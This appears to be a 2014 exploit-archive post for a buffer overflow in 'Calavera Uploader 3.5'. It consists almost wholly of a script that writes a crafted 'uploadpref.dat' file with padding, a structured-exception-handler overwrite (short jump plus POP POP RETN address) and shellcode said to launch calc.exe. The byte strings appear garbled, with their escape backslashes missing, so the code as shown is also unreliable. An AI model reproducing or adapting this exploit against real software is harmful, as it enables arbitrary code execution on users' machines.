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Calavera Uploader 3.5 Buffer Overflow

Posted on 05 March 2014

#exploit por Daniel - La Calavera
#Email: Lacalavera@gmail.com
# Para CracksLatinoS

#relleno

rell = "x41"* 477
rell1 = "x42"* 4000

head = "x41"* 8
head += "x0dx0ax31x0dx0a"
head1 = "x0dx0a"
head2 = "170.1.1.0"
head2 +="x0dx0a"
head2 +="x22"
head2 += "C:Archivos2de2programaUploader!Uploader!23151EXE"
head2 +="x22"

# shellcode para calc.exe

shellcode = "x33xD2xB2x50x80xF2x55x52xC6x45"
shellcode += "x31x63xC6x45x32x61xC6x45x33x6C"
shellcode += "xC6x45x34x63xC6x45x35x2ExC6x45x36x65"
shellcode += "xC6x45x37x78xC6x45x38x65x88x45"
shellcode += "x39x8Dx45x31x50xB9x31x75x66x31"
shellcode += "x81xF1x69x4Dx26x31xFFxe1"

# Next SHE
Nshe = "xebx06x90x90"
# POP POP RETN
PPR = "x38xbfx40x00"

explo = (head + rell + Nshe + PPR + shellcode + rell1 + head1 + head2)
arch = open ("uploadpref.dat", "w")

arch.write(explo)
arch.close

 

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